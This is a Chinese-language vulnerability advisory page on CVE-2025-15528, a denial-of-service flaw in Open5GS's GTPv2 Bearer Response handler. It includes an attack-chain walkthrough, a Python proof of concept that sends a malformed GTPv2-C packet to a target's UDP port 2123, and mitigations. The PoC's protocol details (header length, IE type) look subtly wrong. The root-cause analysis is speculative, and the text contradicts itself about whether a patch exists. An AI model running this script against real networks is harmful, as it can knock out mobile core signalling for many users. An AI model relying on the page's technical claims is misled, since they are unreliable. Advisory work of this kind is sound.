IPBUF安全漏洞报告
English
CVE-2025-15528 CVSS 5.3 中危

CVE-2025-15528 Open5GS GTPv2 Bearer Response拒绝服务漏洞

披露日期: 2026-01-16

漏洞信息

漏洞编号
CVE-2025-15528
漏洞类型
拒绝服务
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Open5GS

相关标签

拒绝服务Open5GSGTPv25G核心网CVE-2025-15528网络协议漏洞

漏洞概述

CVE-2025-15528是Open5GS(开源5G核心网络实现)中的一个拒绝服务漏洞。该漏洞存在于GTPv2 Bearer Response Handler组件中,攻击者可以通过发送特制的GTPv2承载响应消息来触发服务中断。Open5GS是一个实现了5G核心网所有网元功能的开源项目,被广泛应用于5G网络研究、物联网部署和移动运营商测试环境。GTPv2协议是LTE/5G网络中关键的信令协议,用于建立和管理用户会话的承载通道。由于该漏洞影响的是核心网络组件,成功的拒绝服务攻击可能导致整个5G网络的接入控制平面瘫痪,影响大量用户的连接建立和维持。该漏洞无需认证即可利用,CVSS评分5.3,属于中等严重级别。漏洞已于2026年1月16日公开披露,修复补丁已发布。

技术细节

GTPv2(GTP GPRS Tunneling Protocol v2)是3GPP标准定义的核心网信令协议,用于在LTE和5G网络中处理用户会话的建立、修改和释放。Bearers(承载)是5G网络中的核心概念,每个用户会话都需要建立至少一个默认承载来传输数据。Open5GS的GTPv2 Bearer Response Handler负责解析和处理来自网络的Bearer Response消息。在处理特定构造的Bearer Response时,程序可能存在以下问题:1) 缺少对消息字段的充分验证,导致空指针引用或内存访问越界;2) 状态机处理逻辑存在缺陷,在接收到异常序列的消息时进入错误状态;3) 资源分配未进行边界检查,可能导致内存耗尽。攻击者构造一个包含畸形字段的GTPv2 Bearer Response消息,发送到Open5GS的GTPv2-C端口(2123),即可触发漏洞。由于GTPv2-C是控制平面端口,通常需要网络可达性,攻击者需要在同一网络域内或利用社会工程诱导用户连接恶意网络。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标Open5GS部署,确认GTPv2-C端口(2123)可达,可能通过扫描内网或诱骗用户连接恶意网络
STEP 2
步骤2: 构造恶意数据包
攻击者构造包含畸形Bearer Context IE的GTPv2 Bearer Response消息,设置无效字段值或错误的IE长度
STEP 3
步骤3: 发送攻击载荷
通过UDP协议向目标Open5GS的GTPv2-C端口发送特制的Bearer Response消息,无需任何认证
STEP 4
步骤4: 触发漏洞
Open5GS的GTPv2 Bearer Response Handler解析恶意消息时发生错误,导致空指针引用或内存越界访问
STEP 5
步骤5: 服务中断
程序崩溃或进入不可恢复状态,GTPv2控制平面服务中断,新用户无法建立会话,现有连接可能受影响

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
""" CVE-2025-15528 PoC - Open5GS GTPv2 Bearer Response DoS This PoC demonstrates sending a malformed GTPv2 Bearer Response to trigger denial of service in Open5GS <= 2.7.6 Note: For authorized security testing only """ import socket import struct import random def build_gtpv2_header(teid, message_type, seq_num): """Build GTPv2-C header""" # Version (1) + Flag (1) + Message Type (1) + Length (2) version_flag = 0x48 # Version=1, TEID present=1, Piggybacking=0 header = struct.pack('!BBH', version_flag, message_type, 0x0004 # Length of TEID + sequence + spare ) # TEID (4 bytes) header += struct.pack('!I', teid) # Sequence number (3 bytes) + Spare (1 byte) header += struct.pack('!I', seq_num)[1:] + b'\x00' return header def send_malformed_bearer_response(target_ip, target_port=2123): """ Send malformed GTPv2 Bearer Response to trigger DoS """ sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.settimeout(5) # GTPv2-C Message Type for Bearer Response is 0x36 header = build_gtpv2_header( teid=0x00000000, # Control plane TEID message_type=0x36, # Bearer Response seq_num=random.randint(0, 0xFFFFFF) ) # Malformed IE (Information Element) with invalid values # IE Type for Bearer Context (0x57) ie_type_bearer_context = 0x57 # Invalid length to cause parsing error ie_data = b'\x00' * 4 # Truncated/malformed data ie = struct.pack('!BBH', ie_type_bearer_context, 0x00, len(ie_data)) + ie_data packet = header + ie try: sock.sendto(packet, (target_ip, target_port)) print(f"[+] Malformed GTPv2 Bearer Response sent to {target_ip}:{target_port}") print(f"[+] Packet length: {len(packet)} bytes") return True except Exception as e: print(f"[-] Error: {e}") return False finally: sock.close() if __name__ == "__main__": import sys if len(sys.argv) < 2: print("Usage: python cve_2025_15528_poc.py <target_ip>") sys.exit(1) target = sys.argv[1] send_malformed_bearer_response(target)

影响范围

Open5GS < 2.7.7

防御指南

临时缓解措施
在正式补丁发布前,可采取以下临时缓解措施:1) 在网络层面限制对GTPv2-C端口(UDP 2123)的访问,仅允许可信网元地址访问;2) 部署入侵检测系统监控异常的GTPv2 Bearer Response消息;3) 启用Open5GS的日志记录功能,及时发现异常处理错误;4) 考虑在测试环境中验证漏洞影响范围。由于该漏洞影响核心网络组件,建议优先安排升级计划。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表